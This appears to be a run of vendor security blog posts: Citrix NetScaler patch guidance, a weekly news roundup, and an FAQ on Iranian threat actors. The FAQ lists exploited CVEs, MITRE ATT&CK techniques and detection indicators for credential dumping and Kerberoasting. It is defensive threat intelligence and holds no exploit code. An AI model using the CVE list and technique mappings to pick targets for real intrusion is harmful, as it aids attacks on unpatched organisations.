Affected ProductAffected VersionFixed VersionNetScaler ADC and NetScaler GatewayPrior to 13.1-58.3213.1-58.32 and later releases of 13.1Prior to 14.1-43.5614.1-43.56 and later releasesNetScaler ADC 12.1-FIPSPrior to 12.1-55.32812.1-55.328 and later releases of 12.1-FIPSNetScaler ADC 13.1-FIPS and 13.1-NDcPPPrior to 13.1-37.23513.1-37.235 and later releases of 13.1-FIPS and 13.1-NDcPP

Version 12.1 and 13.0 of NetScaler ADC and Gateway are end of life (EOL) and will not receive security updates. Therefore, customers are strongly encouraged to upgrade to a fixed version listed above as soon as possible.

In addition, Citrix recommends terminating all active ICA and PCoIP sessions after applying the updates using the following commands:

• kill icaconnection -all
• kill pcoipConnection -all

We strongly recommend reviewing security bulletin CTX693420 for the latest guidance as additional instructions and recommendations may be updated in the future.

Are patches or mitigations available for CVE-2025-6543?

Yes, Citrix released patches for the following NetScaler ADC and Gateway versions:

Affected ProductAffected VersionFixed VersionNetScaler ADC and NetScaler GatewayPrior to 13.1-59.1913.1-59.19 and later releases of 13.1Prior to 14.1-47.4614.1-47.46 and later releases of 14.1NetScaler ADC 13.1-FIPS and NDcPPPrior to 13.1-37.23613.1-37.236 and later releases of 13.1-FIPS and 13.1-NDcPP

Version 12.1 and 13.0 of NetScaler ADC and Gateway are end of life (EOL) and will not receive security updates. Therefore, customers are strongly encouraged to upgrade to a fixed version listed above as soon as possible.

Note that according to the security bulletin, “NetScaler must be configured as Gateway (VPN virtual server, ICA Proxy, CVPN, RDP Proxy) OR AAA virtual server” in order to be vulnerable to CVE-2025-6543.

Are Indicators of Compromise (IoCs) available?

According to the Citrix Cloud Software Group blog post, customers should contact Citrix customer support for updates on IoCs. We also recommend reviewing their blog post for further updates on both CVE-2025-5777 and CVE-2025-6543.

Has Tenable released any product coverage for these vulnerabilities?

A list of Tenable plugins for these vulnerabilities can be found on the individual CVE pages as they’re released:

• CVE-2025-5777
• CVE-2025-6543

This link will display all available plugins for these vulnerabilities, including upcoming plugins in our Plugins Pipeline.

Get more information

• Citrix Security Bulletin CTX693420 (CVE-2025-5777, CVE-2025-5349)
• Citrix Security Bulletin CTX694788 (CVE-2025-6543)
• CitrixBleed 2: Electric Boogaloo CVE-2025–5777
• ReliaQuest Blog: Threat Spotlight: CVE-2025-5777: Citrix Bleed 2 Opens Old Wounds
• Tenable Blog: CVE-2023-4966: Citrix NetScaler ADC and NetScaler Gateway Information Disclosure Exploited in the Wild
• Tenable Blog: Frequently Asked Questions for CitrixBleed (CVE-2023-4966)

Change Log

Update July 7: The blog has been updated to include reports of active exploitation dating back to mid-June as well as technical details including a proof-of-concept (PoC) for CitrixBleed 2.

Join Tenable's Research Special Operations (RSO) Team on the Tenable Community.

Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

Check out the U.S. government’s latest call for developers to use memory-safe programming languages, as well as its warning for cybersecurity teams regarding cyber risk from hackers tied to Iran. Plus, get the latest on ransomware trends, the quantum computing cyber threat and more!

Dive into five things that are top of mind for the week ending June 27.

1 - CISA and NSA call for adoption of memory-safe languages

Once again the U.S. government is urging developers to use programming languages that prevent memory-related vulnerabilities, which allow attackers to maliciously manipulate how memory is accessed, written and allocated.

“Memory-safe languages (MSLs) offer the most comprehensive mitigation against this pervasive and dangerous class of vulnerability,” reads the document “Memory Safe Languages: Reducing Vulnerabilities in Modern Software Development” published this week by the U.S. Cybersecurity and Infrastructure Security Agency (CISA) and the National Security Agency (NSA).

Specifically, CISA and the NSA recommend that developers use languages such as Ada, C#, Delphi/Object Pascal, Go, Java, Python, Ruby, Rust, and Swift. These languages feature built-in protections against memory safety issues, such as buffer overflows.

For example, memory-safe languages typically offer features such as:

• Bounds checking, which proactively prevents buffer overflows
• Memory management, which reduces the risk of manual memory management mistakes
• Data race prevention, which by default prevents two or more threads from getting unsynchronized concurrent access to a piece of data
• Runtime safety checks, which detect and prevent memory corruption issues

Languages that aren’t considered to be memory safe require developers to be extremely disciplined when coding in order to ensure that memory-handling in their applications will be secure.
 

CISA, the NSA, the White House and other U.S. federal government agencies have in recent years publicly advocated for the use of memory-safe programming languages.

In addition to improving the security of applications, memory-safe languages also make them more stable, scalable and reliable, which reduces application crashes, lowers the need to issue patches and improves developer productivity, the report states.

However, CISA and the NSA also provide suggestions for hardening existing applications written in non-memory safe languages, in cases where it’s not possible to entirely re-program them.

In addition, the agencies caution against adopting a memory-safe language without doing proper due diligence. “Reducing memory safety vulnerabilities requires understanding when MSLs are appropriate, knowing how to adopt them effectively, and recognizing where non-MSLs remain practical necessities,” the agencies wrote.

They outline elements that organizations should take into consideration when mulling whether to adopt a particular memory-safe language, including:

• The need for an initial, one-time investment in developer training and tools
• The time it will take for developers to master it
• How well the language will integrate with existing codebases, APIs and external libraries
• The availability of tools, libraries and community support for it
• The requirements of the new application

“Achieving better memory safety demands language-level protections, library support, robust tooling, and developer training,” the document reads.

For more information about memory-safe programming languages:

• “The Move to Memory-Safe Programming” (IEEE Spectrum)
• “Shift to Memory-Safe Languages Gains Momentum” (Dark Reading)
• “Efforts to improve memory safety in software gain momentum” (TechTarget)
• "Automated Code Repair to Ensure Memory Safety" (Software Engineering Institute, Carnegie Mellon Univ.)
• “The Case for Memory Safe Roadmaps” (Cyber agencies from Australia, Canada, New Zealand, the U.S. and the U.K.)

2 - DHS: Beware of cyber threat from Iran

Cybersecurity teams in the U.S. should be on guard against cyber attacks from Iran-backed hackers and hacktivists, resulting from the U.S. involvement in the military conflict between Iran and Israel.

“Low-level cyber attacks against U.S. networks by pro-Iranian hacktivists are likely, and cyber actors affiliated with the Iranian government may conduct attacks against US networks,” the U.S. Department of Homeland Security warned in a National Terrorism Advisory System bulletin.

The agency urges organizations to adopt cybersecurity best practices recommended by CISA in order to boost the protection of networks and internet-connected devices.
 

Tenable CSO Bob Huber called the DHS bulletin “a stark reminder of the volatile environment that organizations and their cyber leaders operate in” in a blog post this week.

“This isn't just a geopolitical issue; it's a direct and immediate challenge to every organization, public and private, operating within the U.S. and beyond,” wrote Huber, who is also Tenable’s Head of Research and President of Public Sector.

That’s why it’s key for organizations to adopt a proactive approach to cybersecurity grounded in exposure management.

“The current geopolitical climate demands a proactive, comprehensive approach to cybersecurity. It's no longer enough to react to threats, organizations need to anticipate them, understand their exposure and prioritize their defenses where they matter most,” he wrote.

Meanwhile, the Tenable Research Special Operations (RSO) team also published a blog this week answering frequently asked questions about Iranian cyber operations, such as the tools, tactics and techniques employed by Iran-based threat actors.

“This FAQ provides a focused analysis of Iranian state-sponsored cyber threats, detailing the types of threats used by Advanced Persistent Threat (APT) groups, tools, tactics and techniques (TTPs) mapped to the MITRE ATT&CK framework and the specific vulnerabilities they consistently exploit,” the RSO team’s blog reads.

To get more details, read the Tenable blogs “Navigating a Heightened Cyber Threat Landscape: Military Conflict Increases Attack Risks” and “Frequently Asked Questions About Iranian Cyber Operations,” and check out these articles:

• “Iranian-backed hackers go to work after US strikes” (ABC News)
• “Bank hacks, internet shutdowns and crypto heists: Here’s how the war between Israel and Iran is playing out in cyberspace” (Politico)
• “Iran retaliation fears as hospitals and power plants on high alert for cyberattacks” (The Independent)
• “A militarily degraded Iran may turn to asymmetrical warfare – raising risk of proxy and cyber attacks” (The Conversation)
• “DHS warns of heightened cyber threat as US enters Iran conflict” (Cybersecurity Dive)

3 - Report: Ransomware attacks dropped in May, but AI vector widens risk 

Although May saw a drop in global ransomware attacks for the third straight month, the threat level remains high, partly due to the growing risk from organizations’ use of vulnerable AI systems.

That’s according to NCC Group’s “Cyber Threat Intelligence Report – Review of May 2025,” published this week, which also cited geopolitical conflicts and emerging ransomware groups as signs of heightened risk.

“Although reported ransomware incidents declined in March, April, and May, cybersecurity efforts must be strengthened, not scaled back,” Matt Hull, Global Head of Threat Intelligence at NCC Group, said in a statement. The approach of summer may explain the dip in attacks.

Ransomware Attacks by Month

(Source: NCC Group’s “Cyber Threat Intelligence Report – Review of May 2025”)

With regards to the expanded attack surface from AI systems, the report highlighted specifically prompt-injection attacks aimed at breaching AI models, accessing their data and tampering with their responses.

Key takeaways from the report include:

• Global ransomware attacks dropped by 6% in May, compared with April.
• The most active ransomware group was Safepay, a newcomer, with 18% of the attacks.
• The industrials sector was the most targeted sector with 30% of the attacks.

For more information about ransomware trends:

• “Ransomware trends, statistics and facts in 2025” (TechTarget)
• “Ransomware as a Service Threat Grows Against Local Governments” (StateTech Magazine)
• “Cyber Attacks Are Up 47% in 2025 – AI is One Key Factor” (TechRepublic)
• “Ransomware 2025: Lessons from the Past Year and What Lies Ahead” (Government Technology)
• “Ransomware Payouts Decline Despite Growing Cyber Claims Frequency” (Aon)

4 - Quantum threat: The time to get ready is now

Here’s another urgent warning regarding the quantum computing threat to data security.

In its report "Approaching Quantum Dawn: Closing the Cybersecurity Readiness Gap Before It's Too Late," the Cyber Threat Alliance joins the chorus of experts telling organizations they must start the process to transition to quantum-resistant cryptography as soon as possible.

Here’s the problem: When super-powerful quantum computers become generally available – expected at some point between 2030 and 2040 – hackers will be able to use them to decrypt data protected with today’s public-key cryptographic algorithms.

“Quantum computing is advancing steadily, and while cryptographically relevant quantum computers (CRQCs) capable of breaking current encryption do not exist yet, adversaries are already adapting their strategies,” the report reads.

One of the tactics attackers are embracing is known as “harvest now, decrypt later,” in which they steal sensitive data and store it, with the plan to crack its cryptographic protections with a quantum computer in the future.

The report frames the problem as one that’s steadily unfolding – thus the “dawn” metaphor in its title – as opposed to a problem that’ll erupt all at once at a particular time. It encourages organizations to develop what it calls “cryptographic agility” so that they can progressively upgrade and replace their cryptographic algorithms.

The report includes a “maturity scorecard” for organizations to track their progress in transitioning to post-quantum cryptography (PQC), which is complex, and thus requires careful planning and detailed execution.

(Source: "Approaching Quantum Dawn: Closing the Cybersecurity Readiness Gap Before It's Too Late" report from Cyber Threat Alliance, June 2025)

The report also outlines a transition roadmap with short-term objectives to be achieved by next year, and with medium-term objectives to be accomplished by 2030.

Short-term goals include: 

• achieving cryptographic inventory visibility
• deploying crypto-agile architectures
• implementing post-quantum pilot programs
• modernizing key and certificate management. 

Medium-term goals include:

• full cryptographic agility across critical systems
• complete PQC migration for high-value assets
• fully operationalized crypto-agility governance
• a quantum-ready vendor ecosystem

“Quantum disruption is unfolding—not all at once, but steadily—and preparation must start immediately,” the report reads.

In March, the National Institute of Standards and Technology (NIST) picked its fifth algorithm for post-quantum encryption, which it expects will be widely available for use in 2027. NIST released three quantum-resistant algorithm standards last year and expects to release a fourth one in 2026.

Other resources for planning organizations’ migration to quantum-resistant cryptography include NIST’s draft white paper “Considerations for Achieving Crypto Agility,” the U.K. National Cyber Security Centre’s “Timelines for migration to post-quantum (PQC) cryptography” and the Post Quantum Cryptography Coalition’s “Post-Quantum Cryptography (PQC) Migration Roadmap.” 

For more information about the quantum computing cyber threat:

• “How to achieve crypto-agility and future-proof security” (TechTarget)
• “Moody’s sounds alarm on quantum computing risk, as transition to PQC ‘will be long and costly’” (Industrial Cyber)
• “Post-quantum cryptography migration use cases” (IETF)
• “US unveils new tools to withstand encryption-breaking quantum. Here's what experts are saying” (World Economic Forum)
• “You need to prepare for post-quantum cryptography now. Here’s why” (SC World)
• “Quantum and the Threat to Encryption” (SecurityWeek)

5 - NCSC: Password managers and passkeys are good for you

Individuals, businesses and government agencies should all embrace password managers and passkeys as a way of simplifying and enhancing the management of their digital identities.

The U.K. National Cyber Security Centre (NCSC) made the recommendation this week in the blog post “Trusting the tech: using password managers and passkeys to help you stay secure online.”

These tools “simplify your digital life, and reduce login stress and password fatigue” as long as users understand their pros and cons, the NCSC said.
 

In the case of password managers, not only do they store passwords but also help you generate strong ones. When choosing and configuring one, the NCSC recommends:

• Pick a reputable vendor with a strong security track record.
• Protect your password-manager account with multi-factor authentication, and with a strong password you haven’t used elsewhere.
• Recognize that browser-based password managers can be more convenient to use, but usually lack advanced security features found in standalone ones.

Regarding passkeys, the NCSC encourages users to take advantage of this emerging alternative to passwords based on public-key cryptography.

“Passkeys are rolling out fast. Websites like Google, eBay, and PayPal already support them. They’re easy to use, hard to compromise, and eliminate password fatigue,” the blog reads.

For more information about passkeys:

• “What the !#@% is a Passkey?” (Electronic Frontier Foundation)
• “What are passkeys?” (FIDO Alliance)
• “Passkeys explained: How to embrace a passwordless future today” (PC World)
• “Should You Use Passkeys Instead of Passwords?” (Consumer Reports)
• “Passkeys: What They Are and Why You Need Them ASAP” (PCMag)

The current geopolitical climate demands a proactive, comprehensive approach to cybersecurity. Here’s what you need to know — and how Tenable can help.

The cybersecurity landscape is in constant flux, but rarely do we see such a rapid escalation of threats as we are currently experiencing. The U.S. Department of Homeland Security's (DHS) National Terrorism Advisory System (NTAS) bulletin, issued on June 22, 2025, serves as a stark reminder of the volatile environment that organizations and their cyber leaders operate in. It specifically highlights the "heightened threat environment" stemming from U.S. involvement in the ongoing conflict between Israel and Iran, noting the likelihood of cyberattacks from both pro-Iranian hacktivists and state-affiliated actors.

Likewise, U.K. Prime Minister Sir Keir Starmer remarked at a NATO summit this week that the likes of Iran and Russia were carrying out cyber attacks "on a regular basis" and the U.K. needs to be prepared for them.

And in fact, according to a report by ABC News, hackers backing Tehran have already targeted U.S. banks, defense contractors and oil industry companies since the military bombings, although no widespread disruptions have been caused yet.

According to the article, “Two pro-Palestinian hacking groups claimed they targeted more than a dozen aviation firms, banks and oil companies following the U.S. strikes over the weekend. The hackers detailed their work in a post on the Telegram messaging service and urged other hackers to follow their lead, according to researchers at the SITE Intelligence Group, which tracks the groups' activity.”

This isn't just a geopolitical issue; it's a direct and immediate challenge to every organization, public and private, operating within the U.S. and beyond. As the DHS bulletin explicitly states, these actors "routinely target poorly secured U.S. networks and Internet-connected devices for disruptive cyber attacks." This isn't about if you'll be targeted, but when and, more importantly, how prepared you are to weather the storm.

The new normal: Geopolitical conflict and cyber reckoning

For too long, cybersecurity has often been viewed as a reactive discipline. Exposure Whac-a-Mole®. But in an era where geopolitical tensions translate directly into digital aggression, a reactive stance is a recipe for disaster. We're seeing critical infrastructure, often including operational technology (OT) environments, in the crosshairs. These are the systems that power our cities, deliver our water and fuel our economies. A disruption here can have catastrophic, real-world consequences.

Learn how you can use Tenable products to shore up your defenses. Read the blog Frequently Asked Questions About Iranian Cyber Operations.

Consider the recent history of Iranian-linked cyber activity, which includes breaches of U.S. water infrastructure and attempts to disrupt critical sectors. These aren't abstract threats. They’re documented and impactful. The DHS bulletin, in addition to insights from the Tenable Research Special Operations team, underscores that the risk extends beyond traditional IT networks, emphasizing the need for comprehensive security across all interconnected systems.

Mitigation recommendations

From a practical perspective in this heightened threat environment, we recommend the following immediate steps to strengthen your cyber defenses:

• Use strong passwords and enforce a strong password policy
• Change default passwords, especially on OT hardware
• Scan for and patch vulnerabilities in assets exposed to the internet
• Enable multi-factor authentication (MFA)
• Identify and prioritize your most valuable assets for remediation
• Develop a remediation plan and continue to test and improve it

Securing the foundation: A call to action for OT environments

The specific mention of critical infrastructure in the DHS bulletin is a call to action for every U.S. organization that even touches operational technology (OT) systems. These environments, often characterized by legacy equipment and unique protocols, present distinct cybersecurity challenges. Tenable's expertise in OT security is more vital than ever and gives organizations the immediate ability to:

• Automate asset discovery and mapping: Gain a complete, up-to-date inventory of all your OT assets, from programmable logic controllers (PLCs) and remote terminal units (RTUs) to human-machine interfaces (HMIs), ensuring no critical component is left unmonitored.
• Detect and mitigate OT-specific threats: Leverage advanced detection engines tailored to industrial control systems to identify anomalous network behavior, enforce security policies, and track changes that could signal a breach in progress.
• Contextualize OT vulnerabilities: Understand the specific risks posed by vulnerabilities within your OT environment, taking into account firmware versions, proprietary research and the potential impact on operational continuity.

Embracing exposure management

Beyond practicing strong cyber hygiene across IT and OT infrastructure, what more can organizations do to protect themselves? The answer lies in shifting their mindset from simply managing vulnerabilities to proactively managing exposure. Vulnerability management is crucial, but it's only one piece of the puzzle. Exposure management, however, provides a holistic view of your entire attack surface, allowing you to understand and prioritize risk in a way that traditional approaches simply cannot. This only becomes more important in the age of accelerated, AI-led attacks, which require incredible speed to outmaneuver.

At Tenable, we believe that understanding your exposure is the only way to truly understand and reduce your cyber risk. Our Tenable One Exposure Management Platform empowers organizations to:

• See everything: You can't protect what you can't see. Our exposure management platform provides comprehensive visibility across your entire modern attack surface, scanning everything from IT assets to cloud resources, containers, web applications, identity systems and, critically, your OT environments. This unified view is paramount when adversaries are looking for the weakest link, regardless of whether it resides in your IT or OT infrastructure.
• Anticipate and prioritize: The sheer volume of vulnerabilities can be overwhelming. Tenable's platform goes beyond just identifying vulnerabilities. We leverage advanced analytics, including our industry-leading Vulnerability Priority Rating (VPR), to help you understand the true risk each vulnerability poses to your unique environment. This means you can focus your limited resources on addressing the exposures that matter most, the ones most likely to be exploited by threat actors like those highlighted in the DHS bulletin. This includes pinpointing weaknesses in your OT systems that could be leveraged for disruptive attacks.
• Communicate cyber risk effectively: Security is no longer just an IT concern. It's also a business imperative. The Tenable One platform enables you to translate technical jargon into clear, actionable insights that resonate with leadership. This allows for informed decision-making and ensures that cybersecurity is integrated into the broader business strategy, rather than operating in a silo.

For details about the specific tools, tactics and techniques employed by Iranian nation-state actors and hactivists, and how you can use Tenable products to shore up your defenses, read the blog Frequently Asked Questions About Iranian Cyber Operations.

Conclusion

The current geopolitical climate demands a proactive, comprehensive approach to cybersecurity. It's no longer enough to react to threats, organizations need to anticipate them, understand their exposure and prioritize their defenses where they matter most. The DHS bulletin is a critical warning. Let it be the catalyst for your organization to embrace exposure management and fortify your digital infrastructure, from the data center to the factory floor. The time for action is now.

Tenable’s Research Special Operations team focuses on some frequently asked questions about Iranian cyber operations, including the tactics, techniques and procedures employed by Iran-based threat actors.

Background

Tenable’s Research Special Operations (RSO) team has compiled this blog to answer Frequently Asked Questions (FAQ) regarding Iranian cyber operations in the wake of the recent conflict and warnings from U.S. government agencies, including the Department of Homeland Security (DHS), about potential retaliatory attacks from cyber actors affiliated with the Iranian government as well as hacktivists.

This FAQ provides a focused analysis of Iranian state-sponsored cyber threats, detailing the types of threats used by Advanced Persistent Threat (APT) groups, tactics, techniques and procedures (TTPs) mapped to the MITRE ATT&CK framework and the specific vulnerabilities they consistently exploit. We also provide guidance about Tenable product coverage you can use to reduce your cyber exposure to these threats.

FAQ

Has there been an increase in threat activity related to Iran-based threat actors?

While there have been ample warnings from U.S. government agencies about retaliatory attacks, we’re also seeing a slight increase in reported activity by threat actors. Reports have cited that threat actors have begun targeting U.S. finance, defense, and energy sectors. While this activity has been limited to distributed-denial-of-service (DDoS) attacks, there have also been recent reports of an increase in targeted phishing attacks.

Which threat actors are believed to be Iran-based or linked to the Iranian government?

In recent years, several Iran-based groups have been identified by security vendors and U.S. government agencies, including the Cybersecurity and Infrastructure Security Agency (CISA). In some alerts, threat activity has been linked to the Iranian Islamic Revolutionary Guard Corps (IRGC), while other APT groups and hacktivist groups have been identified as having ties to Iran. The table below outlines the groups and known activities linked to them. While this is not an exhaustive list of all known APTs and threat actors known to have previously been attributed to Iran, these groups have been recent subjects of CISA and other U.S. government alerts and have been featured in reports from multiple security vendors.

Threat actorActivityHomeLand JusticeCarried out destructive attacks against the Government of Albania in 2022, utilizing ransomware and disk wiping malware.

Pioneer Kitten

Fox Kitten

UNC757

Parisite

RUBIDIUM

Lemon Sandstorm

Br0k3r

xplfinder

Collaborates with ransomware groups in order to monetize access to victim networks. Known to exploit common and well-known vulnerabilities in internet-facing devices and critical infrastructure.CyberAv3ngersAttacked and defaced OT devices, including Unitronics PLC devices commonly used in water and wastewater systems.

APT35

CALANQUE

Charming Kitten

CharmingCypress

ITG18

Mint Sandstorm (formerly Phosphorus)

Newscaster

TA453

Yellow Garuda

Educated Manticore

APT42*

Agent Serpens

UNC788

Social engineering campaigns targeting journalists and internet-facing applications

*APT42 is a subcluster of APT35 and also poses as journalists in order to harvest credentials. Some aliases overlap between these groups.

APT34

OilRig

Helix Kitten

Hazel Sandstorm

Earth Simnavaz

Exploits internet-facing servers and uses supply chain attacks to target finance, energy, chemical, telecommunications and government sectors.

MuddyWater

Earth Vetala

MERCURY

Static Kitten

Seedworm

TEMP.Zagros

Uses remote monitoring and management tools to target telecom companies in the Middle East and North Africa, Europe and North America.

Agrius

Pink Sandstorm

Targets Israeli companies with wiper malware disguised as ransomwareImperial KittenAn APT group that has targeted Israeli transportation/logistics and technology sectors

Banished Kitten

Dune

Known as "Faketivist" for its attempts to masquerade as hacktivist groups due to their adoption of TTPs used by hacktivist groups

What are the vulnerabilities that have been targeted by Iranian threat actors?

The following table contains a list of CVEs that have been known to be exploited by Iran-based threat actors. This list of CVEs covers a wide range of commonly exploited vulnerabilities that have also been abused by a wide variety of threat actors beyond just Iran-based APTs or state-sponsored actors.

CVEDescriptionCVSSv3 ScoreVPRCVE-2017-11774Microsoft Outlook Security Feature Bypass Vulnerability7.88.9CVE-2018-13379Fortinet FortiOS SSL VPN Web Portal Path Traversal Vulnerability [1] [2] [3]9.89.0CVE-2019-0604Microsoft SharePoint Remote Code Execution (RCE) Vulnerability [1]9.88.9CVE-2019-11510Pulse Connect Secure Arbitrary File Disclosure [1] [2] [3] [4]10.08.1CVE-2019-19781Citrix Application Delivery Controller (ADC) and Gateway Directory Traversal [1] [2] [3] [4] [5] [6] [7] [8] [9]9.88.9CVE-2019-5591Fortinet FortiOS Default Configuration [1] [2]6.56.6CVE-2020-12812Fortinet FortiOS Improper Authentication [1] [2]9.88.9CVE-2020-1472Windows Netlogon Elevation of Privilege (EoP) Vulnerability (Zerologon) [1] [2] [3] [4] [5]1010CVE-2021-31207Microsoft Exchange Server Security Feature Bypass Vulnerability (Part of ProxyShell) [1] [2] [3]6.66.6CVE-2021-34473Microsoft Exchange Server RCE (ProxyShell) [1] [2] [3]9.89.2CVE-2021-34523Microsoft Exchange Server EoP (Part of ProxyShell) [1] [2] [3]9.09.6CVE-2021-44228Apache Log4j RCE (Log4Shell) [1] [2] [3] [4]1010CVE-2021-45046Apache Log4j2 Denial of Service (DoS) and RCE [1] [2]9.08.1CVE-2021-45105Apache Log4j2 DoS [1] [2]5.96.6CVE-2022-1388F5 Networks F5 BIG-IP Authentication Bypass Vulnerability [1] [2] [3]9.89.0CVE-2022-26134Atlassian Confluence Server and Data Center OGNL Injection [1] [2]9.89.6CVE-2022-30190Microsoft Windows Support Diagnostic Tool (MSDT) RCE (Follina) [1] [2] [3]7.89.8CVE-2022-42475Fortinet ForiOS Heap-Based Buffer Overflow [1] [2]9.88.9CVE-2022-47966Zoho ManageEngine RCE [1]9.89.7CVE-2022-47986IBM Aspera Faspex RCE9.89.0CVE-2023-27350PaperCut NG Authentication Bypass9.89.0CVE-2023-3519Citrix Application Delivery Controller (ADC) and Gateway (formerly NetScaler ADC and Netscaler Gateway) Unauthenticated RCE Vulnerability [1] [2]9.89.0CVE-2023-38831RARLAB WinRAR Arbitrary Code Execution7.89.7CVE-2023-46805Ivanti Connect Secure and Ivanti Policy Secure Authentication Bypass Vulnerability [1] [2]8.26.7CVE-2023-6448Unitronics VisiLogic Default Administrative Password9.87.4CVE-2024-21887Ivanti Connect Secure and Ivanti Policy Secure Command Injection Vulnerability [1] [2] [3]9.19.8CVE-2024-24919Check Point Security Gateway Information Disclosure Vulnerability [1] [2]8.67.1CVE-2024-30088Windows Kernel Elevation of Privilege Vulnerability [1] [2]7.09.6CVE-2024-3400Palo Alto PAN-OS Command Injection Vulnerability [1] [2]10.010.0

*Please note: Tenable’s Vulnerability Priority Rating (VPR) scores are calculated nightly. This blog post was published on June 27 and reflects VPR at that time.

Has Tenable released any product coverage for these vulnerabilities?

The CVEs covered in this blog have product coverage from Tenable. A list of Tenable plugins for these vulnerabilities can be found on the individual CVE pages:

• CVE-2017-11774
• CVE-2018-13379
• CVE-2019-0604
• CVE-2019-11510
• CVE-2019-19781
• CVE-2019-5591
• CVE-2020-12812
• CVE-2020-1472
• CVE-2021-31207
• CVE-2021-34473
• CVE-2021-34523
• CVE-2021-44228
• CVE-2021-45046
• CVE-2021-45105
• CVE-2022-1388
• CVE-2022-26134
• CVE-2022-30190
• CVE-2022-42475
• CVE-2022-47966
• CVE-2022-47986
• CVE-2023-27350
• CVE-2023-3519
• CVE-2023-38831
• CVE-2023-46805
• CVE-2023-6448
• CVE-2024-21887
• CVE-2024-24919
• CVE-2024-30088
• CVE-2024-3400

These links will display all available plugins for the listed vulnerabilities, including upcoming plugins in our Plugins Pipeline. In addition to plugin coverage, the tables below highlight additional Tenable product coverage for the MITRE ATT&CK IDs that are known to be associated with Iran-based threat actors.

Tenable attack path techniques

MITRE ATT&CK IDDescriptionTenable attack path techniquesT1003.001OS Credential Dumping: LSASS MemoryT1003.001_WindowsT1012Query RegistryT1012_WindowsT1021.001Remote Services: Remote Desktop ProtocolT1021.001_WindowsT1047Windows Management InstrumentationT1047_WindowsT1053.005Scheduled Task/Job: Scheduled TaskT1053.005_WindowsT1059.001Command and Scripting Interpreter: PowerShellT1059.001_WindowsT1068Exploitation for Privilege EscalationT1068_WindowsT1069.002Permission Groups Discovery: Domain GroupsT1069.002_WindowsT1069.003Permission Groups Discovery: Cloud Groups

T1069.003_Azure

T1069.003_AWS

T1078.001Valid Accounts: Default AccountsT1078.001_ICST1078.002Valid Accounts: Domain AccountsT1078.002_WindowsT1078.003Valid Accounts: Local AccountsT1078.003_WindowsT1078.004Valid Accounts: Cloud AccountsT1078.004_AzureT1082System Information DiscoveryT1082T1098Account Manipulation

T1098.001_Azure

T1098.001_AWS

T1098.003_Azure

T1098.004

T1133External Remote Services

T1133_AWS

T1133_Azure

T1133_Windows

T1190Exploit Public-Facing ApplicationT1190_AwsT1219Remote Access SoftwareT1219_WindowsT1482Domain Trust DiscoveryT1482_WindowsT1484.002Domain or Tenant Policy Modification: Trust ModificationT1484.002_AzureT1499Endpoint Denial of ServiceT1499.004T1555Credentials from Password Stores

T1555.004_Windows

T1555.006

T1558.003Steal or Forge Kerberos Tickets: KerberoastingT1558.003_Windows

Tenable Identity Exposure Indicators of Exposure and Indicators of Attack

MITRE ATT&CK IDDescriptionIndicatorsT1003.001OS Credential Dumping: LSASS Memory

C-PROTECTED-USERS-GROUP-UNUSED

I-ProcessInjectionLsass

T1068Exploitation for Privilege EscalationI-SamNameImpersonationT1078Valid Accounts

C-AAD-PRIV-SYNC

C-AAD-SSO-PASSWORD

C-ADM-ACC-USAGE

C-ADMIN-RESTRICT-AUTH

C-ADMINCOUNT-ACCOUNT-PROPS

C-AUTH-SILO

C-BAD-SUCCESSOR

C-CLEARTEXT-PASSWORD

C-DANG-PRIMGROUPID

C-DANGEROUS-SENSITIVE-PRIVILEGES

C-DC-ACCESS-CONSISTENCY

C-DSHEURISTICS

C-EXCHANGE-MEMBERS

C-KERBEROS-CONFIG-ACCOUNT

C-KRBTGT-PASSWORD

C-MSA-COMPLIANCE

C-NATIVE-ADM-GROUP-MEMBERS

C-PASSWORD-DONT-EXPIRE

C-PASSWORD-HASHES-ANALYSIS

C-PASSWORD-NOT-REQUIRED

C-PASSWORD-POLICY

C-PKI-DANG-ACCESS

C-PRIV-ACCOUNTS-SPN

C-PROP-SET-SANITY

C-REVER-PWD-GPO

C-SERVICE-ACCOUNT

C-SLEEPING-ACCOUNTS

C-USER-PASSWORD

HIGH-NUMBER-OF-ADMINISTRATORS

MISSING-MFA-FOR-NON-PRIVILEGED-ACCOUNT

MISSING-MFA-FOR-PRIVILEGED-ACCOUNT

T1078.001Valid Accounts: Default Accounts

UNRESTRICTED-GUEST-ACCOUNTS

C-GUEST-ACCOUNT

GUEST-ACCOUNT-WITH-A-PRIVILEGED-ROLE

GUEST-ACCOUNTS-WITH-EQUAL-ACCESS-TO-NORMAL-ACCOUNTS

T1098Account Manipulation

C-AAD-CONNECT

C-ABNORMAL-ENTRIES-IN-SCHEMA

C-CREDENTIAL-ROAMING

C-DANG-PRIMGROUPID

C-DC-ACCESS-CONSISTENCY

C-EXCHANGE-PERMISSIONS

C-PROP-SET-SANITY

C-SDPROP-CONSISTENCY

C-SENSITIVE-CERTIFICATES-ON-USER

C-SHADOW-CREDENTIALS

CONDITIONAL-ACCESS-POLICY-DISABLES-CONTINUOUS-ACCESS-EVALUATION

ENTRA-SECURITY-DEFAULTS-NOT-ENABLED

LEGACY-AUTHENTICATION-NOT-BLOCKED

MFA-NOT-REQUIRED-FOR-A-PRIVILEGED-ROLE

MFA-NOT-REQUIRED-FOR-RISKY-SIGN-INS

MISSING-MFA-FOR-NON-PRIVILEGED-ACCOUNT

MISSING-MFA-FOR-PRIVILEGED-ACCOUNT

SHOW-ADDITIONAL-CONTEXT-IN-MICROSOFT-AUTHENTICATOR-NOTIFICATIONS

USER-WITH-API-TOKEN

T1110Brute Force

C-PASSWORD-HASHES-ANALYSIS

C-PASSWORD-POLICY

I-PasswordSpraying

T1190Exploit Public-Facing ApplicationAPPLICATION-ALLOWING-MULTI-TENANT-AUTHENTICATIONT1589Gather Victim Identity Information

C-DSHEURISTICS

C-PRE-WIN2000-ACCESS-MEMBERS

T1556Modify Authentication Process

C-AAD-PRIV-SYNC

C-SHADOW-CREDENTIALS

T1558.003Steal or Forge Kerberos Tickets: Kerberoasting

I-Kerberoasting

I-UnauthKerberoasting

Tenable Web App Scanning

MITRE ATT&CK IDDescriptionIndicatorsT1190Exploit Public-Facing ApplicationT1190_WAS

Tenable OT Security

MITRE ATT&CK IDDescriptionIndicatorsT0812Exploit Public-Facing ApplicationT0812_ICS

What else should I do to remain secure?

Cyber hygiene is even more critical in the face of heightened awareness than it is in normal times. Many of the attacks stemming from Iranian-sponsored threat actors mirror tactics used by other cyber actors, including exploiting software and devices that use weak authentication. Attacks have also targeted operational technology (OT) devices. To strengthen your cyber defenses, we recommend:

• Using strong passwords and enforcing a strong password policy
• Enabling multi-factor authentication (MFA)
